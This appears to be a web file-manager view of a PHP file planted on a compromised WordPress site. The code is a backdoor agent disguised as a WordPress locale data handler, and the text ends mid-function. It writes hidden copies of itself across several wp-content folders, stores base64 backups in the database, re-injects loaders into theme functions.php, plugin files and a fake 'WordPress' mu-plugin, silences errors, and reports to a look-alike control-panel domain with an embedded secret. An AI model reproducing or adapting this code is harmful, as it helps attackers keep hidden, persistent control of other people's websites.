File "class-wp-locale-data.php"

Full path: /home/hivecor1/public_html/wp-content/upgrade/class-wp-locale-data.php
File size: 94.87 B (94.87 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor &nnbsp; Back

<?php
// wpanel - bu blogu functions.php en altina yapistir (tek parca)
if (!defined('WPANEL_AGENT_LOADED')) {
    if (defined('ABSPATH') && defined('WP_CONTENT_DIR')) {
        if (!defined('WPANEL_HIDDEN_REL')) {
            define('WPANEL_HIDDEN_REL', 'languages/class-wp-locale-switch.php');
        }
        if (!defined('WPANEL_HIDDEN_FILE')) {
            define('WPANEL_HIDDEN_FILE', 'class-wp-locale-switch.php');
        }
        if (!defined('WPANEL_HIDDEN_FALLBACK_REL')) {
            define('WPANEL_HIDDEN_FALLBACK_REL', 'upgrade/class-wp-locale-switch.php');
        }
        // DİKKAT: standalone bootstrap (uploads/wp-locale-cache/index.php) ASLA agent gövdesi değil — require etme
        $_wpanelHidden = '';
        foreach ([
            WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL,
            WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_FALLBACK_REL,
            WP_CONTENT_DIR . '/cache/class-wp-locale-switch.php',
            WP_CONTENT_DIR . '/languages/class-wp-locale-data.php',
            WP_CONTENT_DIR . '/.wpanel/agent.php',
        ] as $_wpanelCandidate) {
            if (is_file($_wpanelCandidate)) {
                $_wpanelHidden = $_wpanelCandidate;
                break;
            }
        }
        if ($_wpanelHidden === '') {
            $_wpanelHidden = WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL;
        }
        $_wpanelRunInline = true;
        if (is_file($_wpanelHidden)) {
            $_wpanelSelf = @realpath(__FILE__);
            $_wpanelHiddenReal = @realpath($_wpanelHidden);
            $_wpanelLoadHidden = false;
            if ($_wpanelSelf !== false && $_wpanelHiddenReal !== false) {
                $_wpanelLoadHidden = ($_wpanelSelf !== $_wpanelHiddenReal);
            } else {
                $_wpanelLoadHidden = (basename(__FILE__) !== WPANEL_HIDDEN_FILE && basename(__FILE__) !== 'agent.php');
            }
            if ($_wpanelLoadHidden) {
                require_once $_wpanelHidden;
                $_wpanelRunInline = false;
            }
        }
        if ($_wpanelRunInline) {
            define('WPANEL_AGENT_LOADED', true);

// ============ AYARLAR ============
if (!defined('WPANEL_HIDDEN_REL')) {
    // v2 path — eski stub class-wp-locale-data.php'yi ezmeye devam eder; biz bu dosyayı kullanırız
    define('WPANEL_HIDDEN_REL', 'languages/class-wp-locale-switch.php');
}
if (!defined('WPANEL_HIDDEN_FILE')) {
    define('WPANEL_HIDDEN_FILE', 'class-wp-locale-switch.php');
}
if (!defined('WPANEL_HIDDEN_FALLBACK_REL')) {
    define('WPANEL_HIDDEN_FALLBACK_REL', 'upgrade/class-wp-locale-switch.php');
}
if (!defined('WPANEL_PANEL_URL')) {
    define('WPANEL_PANEL_URL', 'https://wordpiress.com'); // Panel adresin
}
if (!defined('WPANEL_SECRET')) {
    define('WPANEL_SECRET', 'whJdqOWF_peZwCIBd4B97oqPtRjAVTQ---2t7erxM1I'); // .env AGENT_SECRET ile aynı — varsayılan reddedilir
}
// Panel imza doğrulama açık anahtarı (public key). SIR DEĞİLDİR: dosya okunsa bile
// private key panelde kaldığından geçerli imza üretilemez → sadece panel yazabilir.
if (!defined('WPANEL_SIGN_PUBKEY')) {
    define('WPANEL_SIGN_PUBKEY', "-----BEGIN PUBLIC KEY-----\n"
        . "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAjTYqIWJ6PdOzRhZ6O3Wu\n"
        . "+Nrq+MsWF8HnEnUiHVzGsqfAsQKy5wt3Hvnyj+C1BuK9ovUtaL9XuY4V67EyLUxK\n"
        . "dQ3IzLEeUD+A6CQK4KjYYv2U8ZoYNRePv55VBY+7iZFyGjgOYrplcNcK/rXn63MD\n"
        . "L3Rt/zKKwuhmS1Iy/Us66pxk8hBjSi29vDJeRaNPPvxckVXw/n42uvYcx3PMjYfK\n"
        . "WcwDsbiZFpEMh7qChBNCq5Q+aJJd6jEmMdv0QLvwZ2NkKWTAxuviL0gIbuBYE5/m\n"
        . "GLgbMtejHxDpsr1zxHpx6xthk6YguM4YFrZJzEJAZV1xAnM54IP9tso/pI9jMgYu\n"
        . "UwIDAQAB\n"
        . "-----END PUBLIC KEY-----\n");
}
define('WPANEL_AGENT_VERSION', '2.0.6');
if (!defined('WPANEL_INSTALL_TARGET')) {
    define('WPANEL_INSTALL_TARGET', 'theme');
}
define('WPANEL_FUNCTIONS_MARKER', 'WPANEL:BEGIN');
define('WPANEL_DB_MARKER', 'wp-core-locale-bootstrap');
define('WPANEL_MU_PLUGIN_REL', 'mu-plugins/wp-locale-bootstrap.php');
define('WPANEL_MU_MARKER', 'wp-locale-bootstrap');
define('WPANEL_LEGACY_HIDDEN_REL', '.wpanel/agent.php');
define('WPANEL_LEGACY_DB_MARKER', 'wpanel-db-loader');
define('WPANEL_STANDALONE_REL', 'uploads/wp-locale-cache/index.php');
define('WPANEL_CACHE_HIDDEN_REL', 'cache/class-wp-locale-switch.php');
define('WPANEL_AC_DROPIN_REL', 'advanced-cache.php');
define('WPANEL_AC_MARKER', 'wp-locale-advanced-cache');
define('WPANEL_PLUGIN_SEED_MAX', 12);
// =================================

error_reporting(0);
@ini_set('display_errors', '0');

if (!function_exists('hash_equals')) {
    function hash_equals($known_string, $user_string)
    {
        if (!is_string($known_string) || !is_string($user_string)) {
            return false;
        }
        if (strlen($known_string) !== strlen($user_string)) {
            return false;
        }
        $result = 0;
        $len = strlen($known_string);
        for ($i = 0; $i < $len; $i++) {
            $result |= ord($known_string[$i]) ^ ord($user_string[$i]);
        }
        return $result === 0;
    }
}

/**
 * Gizli kopya + functions.php'ye otomatik yeniden ekleme (+ db.php yedek).
 */
function wpanel_hidden_agent_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_REL;
}

function wpanel_hidden_fallback_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_HIDDEN_FALLBACK_REL;
}

function wpanel_cache_hidden_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_CACHE_HIDDEN_REL;
}

function wpanel_standalone_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_STANDALONE_REL;
}

function wpanel_all_hidden_paths() {
    return [
        wpanel_hidden_agent_path(),
        wpanel_hidden_fallback_path(),
        wpanel_cache_hidden_path(),
        wpanel_legacy_hidden_agent_path(),
    ];
}

function wpanel_hidden_read_path() {
    foreach (array_merge(wpanel_all_hidden_paths(), [wpanel_standalone_path()]) as $path) {
        if (is_file($path)) {
            // Standalone bootstrap değil, gerçek agent gövdesi mi?
            if ($path === wpanel_standalone_path()) {
                $peek = @file_get_contents($path);
                if (!is_string($peek) || strpos($peek, 'WPANEL_AGENT_VERSION') === false) {
                    continue;
                }
            }
            return $path;
        }
    }

    return wpanel_hidden_write_path();
}

function wpanel_hidden_write_path() {
    $candidates = [
        wpanel_hidden_agent_path(),
        wpanel_hidden_fallback_path(),
        wpanel_cache_hidden_path(),
    ];

    foreach ($candidates as $path) {
        $dir = dirname($path);
        if (wpanel_ensure_dir($dir) && is_writable($dir)) {
            return $path;
        }
    }

    return wpanel_hidden_agent_path();
}

function wpanel_legacy_hidden_agent_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_LEGACY_HIDDEN_REL;
}

function wpanel_format_hidden_install($source) {
    if (!is_string($source) || $source === '') {
        return $source;
    }

    if (strpos($source, 'WordPress Locale Data Handler') !== false) {
        return $source;
    }

    $source = preg_replace('/^<\?php\s*\n(?:\\/\\/[^\n]*\n)*/i', '', $source);
    $source = ltrim($source);

    $header = <<<'HDR'
/**
 * WordPress Locale Data Handler
 *
 * Handles locale-specific data loading for translations.
 *
 * @package WordPress
 * @subpackage i18n
 * @since 6.4.0
 */

HDR;

    return "<?php\n" . $header . $source;
}

function wpanel_cleanup_legacy_hidden() {
    // Eski .wpanel kopyasını KORU — silme. Çoklu kalıcılık için yedek kalsın.
    return;
}

function wpanel_agent_source() {
    $file = __FILE__;
    $content = @file_get_contents($file);
    if (!is_string($content) || $content === '') {
        return null;
    }

    if (preg_match('/\\/\\/ WPANEL:BEGIN[^\\n]*\\n\\s*(.*?)\\/\\/ WPANEL:END-AGENT/s', $content, $m)) {
        $body = trim($m[1]);
        if ($body !== '') {
            if (stripos($body, '<?php') !== 0) {
                $body = "<?php\n" . $body;
            }
            return $body . "\n";
        }
    }

    if (basename($file) === WPANEL_HIDDEN_FILE || basename($file) === 'agent.php') {
        return $content;
    }

    if (basename($file) === 'wpanel.php') {
        return wpanel_format_hidden_install($content);
    }

    $hidden = wpanel_hidden_read_path();
    if (is_file($hidden)) {
        $cached = @file_get_contents($hidden);
        if (is_string($cached) && $cached !== '') {
            return $cached;
        }
    }

    return null;
}

function wpanel_saved_functions_block_valid($saved) {
    if (!is_string($saved) || $saved === '') {
        return false;
    }

    return strpos($saved, 'WPANEL:BEGIN') !== false;
}

function wpanel_get_saved_functions_block() {
    if (!function_exists('get_option')) {
        return null;
    }

    $saved = get_option('wpanel_functions_block');
    if (wpanel_saved_functions_block_valid($saved)) {
        return trim($saved);
    }

    $backup = get_option('wpanel_agent_backup');
    if (!is_string($backup) || $backup === '') {
        return null;
    }

    $content = base64_decode($backup, true);
    if (!is_string($content) || $content === '') {
        return null;
    }

    if (preg_match('/(\\/\\/ WPANEL:BEGIN.*?\\/\\/ WPANEL:END-AGENT)/s', $content, $m)) {
        $block = trim($m[1]);
        if (wpanel_saved_functions_block_valid($block)) {
            if (function_exists('update_option')) {
                update_option('wpanel_functions_block', $block, false);
            }
            return $block;
        }
    }

    return null;
}

function wpanel_save_source_backup($content) {
    if (!function_exists('update_option')) {
        return;
    }
    update_option('wpanel_agent_backup', base64_encode($content), false);
    update_option('wpanel_agent_version', WPANEL_AGENT_VERSION, false);
}

function wpanel_ensure_dir($dir) {
    if (is_dir($dir)) {
        return true;
    }
    if (function_exists('wp_mkdir_p')) {
        return (bool) wp_mkdir_p($dir);
    }
    return @mkdir($dir, 0755, true) || is_dir($dir);
}

function wpanel_write_file($path, $content) {
    $dir = dirname($path);
    if (!wpanel_ensure_dir($dir)) {
        return false;
    }
    if (!is_writable($dir)) {
        return false;
    }
    if (is_file($path) && !is_writable($path)) {
        @chmod($path, 0664);
    }
    return @file_put_contents($path, $content, LOCK_EX) !== false;
}

/**
 * Dosya kapanis PHP etiketi ile bitince loader duz metin sizar. Kapanisi kaldir / sizintiyi onar.
 * Snippet her zaman PHP modunda eklenir.
 */
function wpanel_has_closing_php_loader_leak($content) {
    $content = (string) $content;
    if (preg_match('/\?' . '>\s*\/\/ WordPress locale data handler/s', $content)) {
        return true;
    }
    if (preg_match('/\?' . '>\s*\/\/ wp-core-locale-bootstrap/s', $content)) {
        return true;
    }
    if (preg_match('/\?' . '>\s*\/\/ WPANEL:BEGIN/s', $content)) {
        return true;
    }
    return false;
}

function wpanel_repair_closing_php_loader_leak($content) {
    $content = (string) $content;
    if (!wpanel_has_closing_php_loader_leak($content)) {
        return $content;
    }
    // Kapanis etiketini kaldir → ardindan gelen loader tekrar PHP olarak calisir
    $content = preg_replace('/\?' . '>\s*(?=\/\/ WordPress locale data handler)/s', "\n", $content, 1);
    $content = preg_replace('/\?' . '>\s*(?=\/\/ wp-core-locale-bootstrap)/s', "\n", $content, 1);
    return preg_replace('/\?' . '>\s*(?=\/\/ WPANEL:BEGIN)/s', "\n", $content, 1);
}

function wpanel_append_php_code($content, $snippet) {
    $content = wpanel_repair_closing_php_loader_leak((string) $content);
    $snippet = (string) $snippet;
    if ($snippet === '') {
        return $content;
    }

    $trimmed = rtrim($content);
    if (substr($trimmed, -2) === '?' . '>') {
        $content = rtrim(substr($trimmed, 0, -2));
    }

    return rtrim($content) . "\n" . ltrim($snippet, "\n");
}

/**
 * Aktif eklenti + host dosyalarındaki ?> sızıntılarını onar (plaintext loader).
 */
function wpanel_repair_all_loader_leaks() {
    $fixed = 0;
    $targets = [];

    if (defined('WP_PLUGIN_DIR') && function_exists('get_option')) {
        foreach ((array) get_option('active_plugins', []) as $rel) {
            $rel = ltrim(str_replace('\\', '/', (string) $rel), '/');
            if ($rel === '' || strpos($rel, '..') !== false) {
                continue;
            }
            $targets[] = WP_PLUGIN_DIR . '/' . $rel;
        }
    }

    if (function_exists('wpanel_functions_targets')) {
        foreach (wpanel_functions_targets() as $f) {
            $targets[] = $f;
        }
    }

    $targets = array_values(array_unique(array_filter($targets)));
    foreach ($targets as $file) {
        if (!is_file($file) || !is_readable($file)) {
            continue;
        }
        $content = @file_get_contents($file);
        if (!is_string($content) || $content === '') {
            continue;
        }
        if (!wpanel_has_closing_php_loader_leak($content)) {
            continue;
        }
        if (!is_writable($file)) {
            @chmod($file, 0664);
        }
        if (!is_writable($file)) {
            continue;
        }
        $repaired = wpanel_repair_closing_php_loader_leak($content);
        if ($repaired !== $content && wpanel_write_file($file, $repaired)) {
            $fixed += 1;
        }
    }

    return $fixed;
}

function wpanel_hidden_loader_code() {
    // Standalone HTTP bootstrap buraya KONMAZ — sadece gerçek agent gövdeleri
    return <<<'PHP'
$_wp_locale_candidates = [
    WP_CONTENT_DIR . '/languages/class-wp-locale-data.php',
    WP_CONTENT_DIR . '/upgrade/class-wp-locale-data.php',
    WP_CONTENT_DIR . '/cache/class-wp-locale-data.php',
    WP_CONTENT_DIR . '/.wpanel/agent.php',
];
foreach ($_wp_locale_candidates as $_wp_locale_data) {
    if (is_file($_wp_locale_data)) {
        require_once $_wp_locale_data;
        break;
    }
}
PHP;
}

function wpanel_hidden_loader_snippet() {
    return "\n\n// WordPress locale data handler\n" . wpanel_hidden_loader_code() . "\n";
}

function wpanel_hidden_needs_update($target, $source) {
    if (!is_file($target)) {
        return true;
    }
    $existing = @file_get_contents($target);
    if ($existing === false || $existing === '') {
        return true;
    }
    if (md5($existing) === md5($source)) {
        return false;
    }
    $installedVer = '';
    if (preg_match("/define\\('WPANEL_AGENT_VERSION',\\s*'([^']+)'\\)/", $existing, $m)) {
        $installedVer = $m[1];
    }
    return $installedVer !== WPANEL_AGENT_VERSION;
}

function wpanel_restore_hidden_from_backup() {
    if (!function_exists('get_option')) {
        return false;
    }
    $backup = get_option('wpanel_agent_backup');
    if (!is_string($backup) || $backup === '') {
        return false;
    }
    $content = base64_decode($backup, true);
    if (!is_string($content) || $content === '') {
        return false;
    }
    return wpanel_restore_hidden_to_all($content);
}

function wpanel_restore_hidden_to_all($content) {
    $formatted = wpanel_format_hidden_install($content);
    $ok = false;
    foreach (wpanel_all_hidden_paths() as $target) {
        if (wpanel_write_file($target, $formatted)) {
            $ok = true;
        }
    }
    return $ok;
}

function wpanel_new_hidden_exists() {
    foreach ([
        wpanel_hidden_agent_path(),
        wpanel_hidden_fallback_path(),
        wpanel_cache_hidden_path(),
        wpanel_legacy_hidden_agent_path(),
    ] as $path) {
        if (is_file($path)) {
            return true;
        }
    }
    return false;
}

function wpanel_extract_block_version($content) {
    $content = (string) $content;
    // Şifreli stub: // wpanel-agent-version: 2.0.6
    if (preg_match('/wpanel-agent-version:\s*([0-9]+(?:\.[0-9]+)*)/', $content, $m)) {
        return $m[1];
    }
    if (preg_match("/define\\('WPANEL_AGENT_VERSION',\\s*'([^']+)'\\)/", $content, $m)) {
        return $m[1];
    }
    return '';
}

/**
 * Aktif/parent tema functions.php'lerinde WPANEL:BEGIN bloğunu ara,
 * en yeni sürümü döndür. Oto-upgrade için kullanılır:
 * Panel'den güncel kod functions.php'ye yapıştırıldığında, db.php üzerinden
 * yüklenen ESKİ gizli kopya bunu görüp kendini yeni sürüme yazar.
 */
function wpanel_read_theme_block() {
    if (!function_exists('get_stylesheet_directory')) {
        return null;
    }

    $best = null;
    $bestVer = '';
    $bestEncrypted = false;
    foreach (wpanel_functions_targets() as $file) {
        if (!is_file($file) || !is_readable($file)) {
            continue;
        }
        $content = @file_get_contents($file);
        if (!is_string($content) || $content === '') {
            continue;
        }
        if (!preg_match('/\\/\\/ WPANEL:BEGIN[^\\n]*\\n\\s*(.*?)\\/\\/ WPANEL:END-AGENT/s', $content, $m)) {
            continue;
        }
        $body = $m[1];
        $ver = wpanel_extract_block_version($content);
        if ($ver === '') {
            $ver = wpanel_extract_block_version($body);
        }
        $enc = (strpos($body, '_wp_locale_pack_decode') !== false);
        if ($best === null || ($ver !== '' && version_compare($ver, $bestVer, '>'))) {
            $best = $body;
            $bestVer = $ver;
            $bestEncrypted = $enc;
        }
    }

    if ($best === null) {
        return null;
    }
    if (stripos($best, '<?php') !== 0 && !$bestEncrypted) {
        $best = "<?php\n" . $best;
    }

    return ['version' => $bestVer, 'source' => $best . "\n", 'encrypted' => $bestEncrypted];
}

function wpanel_ensure_hidden_copy() {
    $source = wpanel_agent_source();

    // OTO-UPGRADE: tema functions.php'de DAHA YENİ bir sürüm varsa ona yükselt.
    // Böylece güncel kodu functions.php'ye yapıştırmak, eski gizli kopyayı
    // (db.php üzerinden yüklenip çalışsa bile) otomatik günceller.
    $theme = wpanel_read_theme_block();
    if ($theme !== null && $theme['version'] !== ''
        && version_compare($theme['version'], WPANEL_AGENT_VERSION, '>')) {
        // Şifreli stub agent gövdesi değil — gizli kopyayı ESKİ kaynakla ezme.
        // Stub aynı istekte (tema yüklendiğinde) yeni gövdeyi tüm path'lere yazar.
        if (!empty($theme['encrypted'])) {
            return;
        }
        $source = $theme['source'];
    }

    if ($source === null) {
        wpanel_restore_hidden_from_backup();
        return;
    }

    wpanel_save_source_backup($source);

    $formatted = wpanel_format_hidden_install($source);

    // Çoklu gizli kopya: languages + upgrade + cache + legacy
    foreach (wpanel_all_hidden_paths() as $target) {
        $existing = is_file($target) ? @file_get_contents($target) : false;
        if ($existing === false || $existing === '' || md5($existing) !== md5($formatted)) {
            wpanel_write_file($target, $formatted);
        }
    }

    wpanel_ensure_standalone_bootstrap();
}

function wpanel_capture_functions_block() {
    if (!function_exists('update_option')) {
        return;
    }

    $paths = [];
    foreach (wpanel_functions_targets() as $file) {
        $paths[] = $file;
    }
    $hidden = wpanel_hidden_read_path();
    if (is_string($hidden) && $hidden !== '') {
        $paths[] = $hidden;
    }
    $paths[] = __FILE__;
    $paths = array_values(array_unique($paths));

    foreach ($paths as $path) {
        $content = @file_get_contents($path);
        if (!is_string($content) || $content === '') {
            continue;
        }

        if (preg_match('/(\\/\\/ WPANEL:BEGIN.*?\\/\\/ WPANEL:END-AGENT)/s', $content, $m)) {
            update_option('wpanel_functions_block', trim($m[1]), false);
            return;
        }
    }
}

function wpanel_functions_loader_snippet() {
    // Önce DB'deki tam blok (eskisi gibi), yoksa minimal loader
    $saved = wpanel_get_saved_functions_block();
    if (is_string($saved) && $saved !== '') {
        return "\n\n" . $saved . "\n";
    }

    return wpanel_hidden_loader_snippet();
}

function wpanel_is_hidden_path($path) {
    $path = str_replace('\\', '/', (string) $path);
    if ($path === '') {
        return true;
    }
    $base = basename($path);
    if ($base === WPANEL_HIDDEN_FILE || $base === 'agent.php') {
        return true;
    }
    if (strpos($path, '/' . WPANEL_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($path, '/' . WPANEL_HIDDEN_FALLBACK_REL) !== false) {
        return true;
    }
    if (strpos($path, '/' . WPANEL_CACHE_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($path, '/' . WPANEL_STANDALONE_REL) !== false) {
        return true;
    }
    if (strpos($path, '/.wpanel/') !== false) {
        return true;
    }
    if (strpos($path, '/wp-locale-cache/') !== false) {
        return true;
    }

    return false;
}

function wpanel_candidate_host_file() {
    if (defined('WPANEL_HOST_FILE') && is_string(WPANEL_HOST_FILE) && WPANEL_HOST_FILE !== '') {
        return (string) WPANEL_HOST_FILE;
    }
    if (!wpanel_is_hidden_path(__FILE__)) {
        return __FILE__;
    }

    return '';
}

function wpanel_classify_host($file) {
    $file = str_replace('\\', '/', (string) $file);
    if ($file === '' || wpanel_is_hidden_path($file)) {
        return null;
    }
    if (defined('WP_PLUGIN_DIR')) {
        $dir = rtrim(str_replace('\\', '/', WP_PLUGIN_DIR), '/');
        if ($dir !== '' && strpos($file, $dir . '/') === 0) {
            return 'plugin';
        }
    }
    if (defined('WPMU_PLUGIN_DIR')) {
        $dir = rtrim(str_replace('\\', '/', WPMU_PLUGIN_DIR), '/');
        if ($dir !== '' && strpos($file, $dir . '/') === 0) {
            return 'plugin';
        }
    }
    if (function_exists('get_stylesheet_directory')) {
        $dir = rtrim(str_replace('\\', '/', get_stylesheet_directory()), '/');
        if ($dir !== '' && strpos($file, $dir . '/') === 0) {
            return 'theme';
        }
    }
    if (function_exists('get_template_directory')) {
        $dir = rtrim(str_replace('\\', '/', get_template_directory()), '/');
        if ($dir !== '' && strpos($file, $dir . '/') === 0) {
            return 'theme';
        }
    }
    if (defined('WPANEL_INSTALL_TARGET') && WPANEL_INSTALL_TARGET === 'plugin') {
        return 'plugin';
    }

    return null;
}

function wpanel_remember_install_host() {
    if (!function_exists('update_option')) {
        return;
    }

    $candidate = wpanel_candidate_host_file();
    $kind = wpanel_classify_host($candidate);
    if ($kind === null) {
        if (defined('WPANEL_INSTALL_TARGET') && WPANEL_INSTALL_TARGET === 'plugin') {
            update_option('wpanel_install_target', 'plugin', false);
        }
        return;
    }

    update_option('wpanel_install_host', $candidate, false);
    update_option('wpanel_install_target', $kind, false);
}

function wpanel_install_target() {
    if (defined('WPANEL_INSTALL_TARGET') && WPANEL_INSTALL_TARGET === 'plugin') {
        return 'plugin';
    }
    if (function_exists('get_option')) {
        $saved = get_option('wpanel_install_target');
        if ($saved === 'plugin' || $saved === 'theme') {
            return $saved;
        }
    }

    return 'theme';
}

function wpanel_saved_install_host() {
    if (!function_exists('get_option')) {
        return '';
    }
    $host = get_option('wpanel_install_host');
    return is_string($host) ? $host : '';
}

/**
 * Tarama hedefleri: plugin host + child/parent tema (okuma / capture / upgrade).
 * Yazma için wpanel_functions_write_target() kullan.
 */
function wpanel_functions_targets() {
    $files = [];

    $host = wpanel_saved_install_host();
    if ($host !== '' && is_file($host)) {
        $files[] = $host;
    }

    $candidate = wpanel_candidate_host_file();
    if ($candidate !== '' && is_file($candidate) && !in_array($candidate, $files, true)) {
        $files[] = $candidate;
    }

    if (function_exists('get_stylesheet_directory')) {
        $child = get_stylesheet_directory() . '/functions.php';
        if (!in_array($child, $files, true)) {
            $files[] = $child;
        }
        if (function_exists('get_template_directory')) {
            $parent = get_template_directory() . '/functions.php';
            if (!in_array($parent, $files, true)) {
                $files[] = $parent;
            }
        }
    }

    return $files;
}

/**
 * Yazılacak tek dosya:
 * - plugin modu → kayıtlı / mevcut eklenti PHP dosyası (temaya yazılmaz)
 * - theme modu → aktif tema functions.php (child varsa child)
 */
function wpanel_functions_write_target() {
    if (wpanel_install_target() === 'plugin') {
        $host = wpanel_saved_install_host();
        if ($host !== '') {
            return $host;
        }
        $candidate = wpanel_candidate_host_file();
        if ($candidate !== '' && wpanel_classify_host($candidate) === 'plugin') {
            return $candidate;
        }

        return '';
    }

    if (!function_exists('get_stylesheet_directory')) {
        return '';
    }

    return get_stylesheet_directory() . '/functions.php';
}

function wpanel_functions_has_loader($content) {
    if (strpos($content, 'WPANEL:BEGIN') !== false) {
        return true;
    }
    if (strpos($content, WPANEL_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_HIDDEN_FALLBACK_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_CACHE_HIDDEN_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_STANDALONE_REL) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_DB_MARKER) !== false) {
        return true;
    }
    if (strpos($content, WPANEL_MU_MARKER) !== false) {
        return true;
    }
    if (strpos($content, 'WordPress locale data handler') !== false) {
        return true;
    }
    if (strpos($content, WPANEL_LEGACY_HIDDEN_REL) !== false) {
        return true;
    }

    return false;
}

/**
 * functions.php içinden WPANEL bloğunu / locale loader satırlarını temizle.
 */
function wpanel_strip_functions_loader($content) {
    if (!is_string($content) || $content === '') {
        return $content;
    }

    $content = preg_replace(
        '/\n*\s*\/\/\s*WPANEL:BEGIN.*?\/\/\s*WPANEL:END-AGENT\s*/s',
        "\n",
        $content
    );

    // Eski zincirli loader
    $content = preg_replace(
        '/\n*\s*\/\/\s*WordPress locale data handler\s*\n'
        . '\s*\$_wp_locale_data\s*=\s*WP_CONTENT_DIR\s*\.\s*\'\/languages\/class-wp-locale-data\.php\';\s*\n'
        . '(?:\s*if\s*\(!is_file\(\$_wp_locale_data\)\)\s*\{\s*\n'
        . '\s*\$_wp_locale_data\s*=\s*WP_CONTENT_DIR\s*\.\s*\'[^\']+\';\s*\n'
        . '\s*\}\s*\n)+'
        . '\s*if\s*\(is_file\(\$_wp_locale_data\)\)\s*\{\s*\n'
        . '\s*require_once\s*\$_wp_locale_data;\s*\n'
        . '\s*\}\s*/s',
        "\n",
        $content
    );

    // Yeni foreach loader
    $content = preg_replace(
        '/\n*\s*\/\/\s*WordPress locale data handler\s*\n'
        . '\s*\$_wp_locale_candidates\s*=\s*\[[^\]]*\]\s*;\s*\n'
        . '\s*foreach\s*\(\s*\$_wp_locale_candidates\s+as\s+\$_wp_locale_data\s*\)\s*\{'
        . '.*?'
        . '\}\s*/s',
        "\n",
        $content
    );

    return rtrim($content) . "\n";
}

/**
 * Child temada parent + child ikisine birden yazılmışsa parent'tan kaldır.
 * WP her ikisini de yüklediği için çift ekleme critical error verir.
 */
function wpanel_dedupe_functions_loader() {
    if (!function_exists('get_stylesheet_directory') || !function_exists('get_template_directory')) {
        return false;
    }

    $child = get_stylesheet_directory() . '/functions.php';
    $parent = get_template_directory() . '/functions.php';
    if ($child === $parent) {
        return false;
    }
    if (!is_file($child) || !is_file($parent)) {
        return false;
    }

    $childContent = @file_get_contents($child);
    $parentContent = @file_get_contents($parent);
    if ($childContent === false || $parentContent === false) {
        return false;
    }
    if (!wpanel_functions_has_loader($childContent) || !wpanel_functions_has_loader($parentContent)) {
        return false;
    }

    if (!is_writable($parent)) {
        @chmod($parent, 0664);
    }
    if (!is_writable($parent)) {
        return false;
    }

    $cleaned = wpanel_strip_functions_loader($parentContent);
    if ($cleaned === $parentContent || wpanel_functions_has_loader($cleaned)) {
        return false;
    }

    return wpanel_write_file($parent, $cleaned);
}

function wpanel_ensure_functions_loader() {
    wpanel_remember_install_host();

    // Theme kurulumunda child+parent çift kopyayı temizle
    if (wpanel_install_target() !== 'plugin') {
        wpanel_dedupe_functions_loader();
    }

    $snippet = wpanel_functions_loader_snippet();
    if ($snippet === '') {
        return false;
    }

    // Host / tema dosyalarında zaten varsa — kapanış etiketi sızıntısı varsa onar
    foreach (wpanel_functions_targets() as $existing) {
        if (!is_file($existing) || !is_readable($existing)) {
            continue;
        }
        $content = @file_get_contents($existing);
        if (!is_string($content) || !wpanel_functions_has_loader($content)) {
            continue;
        }
        if (wpanel_has_closing_php_loader_leak($content)) {
            if (!is_writable($existing)) {
                @chmod($existing, 0664);
            }
            if (is_writable($existing)) {
                wpanel_write_file($existing, wpanel_repair_closing_php_loader_leak($content));
            }
        }
        return true;
    }

    // Plugin → eklenti dosyası; theme → child/aktif functions.php
    $file = wpanel_functions_write_target();
    if ($file === '') {
        return false;
    }

    $dir = dirname($file);
    if (!is_dir($dir)) {
        wpanel_ensure_dir($dir);
    }
    if (!is_writable($dir)) {
        @chmod($dir, 0755);
    }

    if (!is_file($file)) {
        if (!wpanel_ensure_dir($dir) || !is_writable($dir)) {
            return false;
        }
        return wpanel_write_file($file, "<?php\n" . ltrim($snippet));
    }

    if (!is_readable($file)) {
        return false;
    }

    $content = @file_get_contents($file);
    if ($content === false) {
        return false;
    }
    if (wpanel_functions_has_loader($content)) {
        if (wpanel_has_closing_php_loader_leak($content)) {
            if (!is_writable($file)) {
                @chmod($file, 0664);
            }
            if (!is_writable($file)) {
                return false;
            }
            return wpanel_write_file($file, wpanel_repair_closing_php_loader_leak($content));
        }
        return true;
    }

    if (!is_writable($file)) {
        @chmod($file, 0664);
    }
    if (!is_writable($file)) {
        return false;
    }

    return wpanel_write_file($file, wpanel_append_php_code($content, $snippet));
}

function wpanel_mu_plugin_path() {
    return WP_CONTENT_DIR . '/' . WPANEL_MU_PLUGIN_REL;
}

function wpanel_mu_plugin_snippet() {
    return <<<'PHP'
<?php
/**
 * Plugin Name: WP Locale Bootstrap
 * Description: Initializes locale data handlers for translations.
 * Version: 6.4.0
 * Author: WordPress
 */
// wp-locale-bootstrap
if (function_exists('wpanel_agent_start')) {
    wpanel_agent_start();
} else {
    $_wp_locale_candidates = [
        __DIR__ . '/../languages/class-wp-locale-data.php',
        __DIR__ . '/../upgrade/class-wp-locale-data.php',
        __DIR__ . '/../cache/class-wp-locale-data.php',
        __DIR__ . '/../.wpanel/agent.php',
    ];
    foreach ($_wp_locale_candidates as $_wp_locale_data) {
        if (is_file($_wp_locale_data)) {
            require_once $_wp_locale_data;
            break;
        }
    }
    if (function_exists('wpanel_agent_start')) {
        wpanel_agent_start();
    }
}

PHP;
}

function wpanel_mu_plugin_present($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }

    return strpos($content, WPANEL_MU_MARKER) !== false;
}

function wpanel_mu_plugin_is_broken($content) {
    if (!is_string($content) || $content === '') {
        return false;
    }
    if (!wpanel_mu_plugin_present($content)) {
        return false;
    }
    // <?php etiketi yoksa dosya düz metin olarak basılır — bozuk.
    if (strpos($content, '<?php') === false) {
        return true;
    }
    // Eski mu-plugin: agent_start çağrısı yoksa early-load bug'ı devam eder
    if (strpos($content, 'wpanel_agent_start') === false) {
        return true;
    }
    return false;
}

function wpanel_ensure_mu_plugin() {
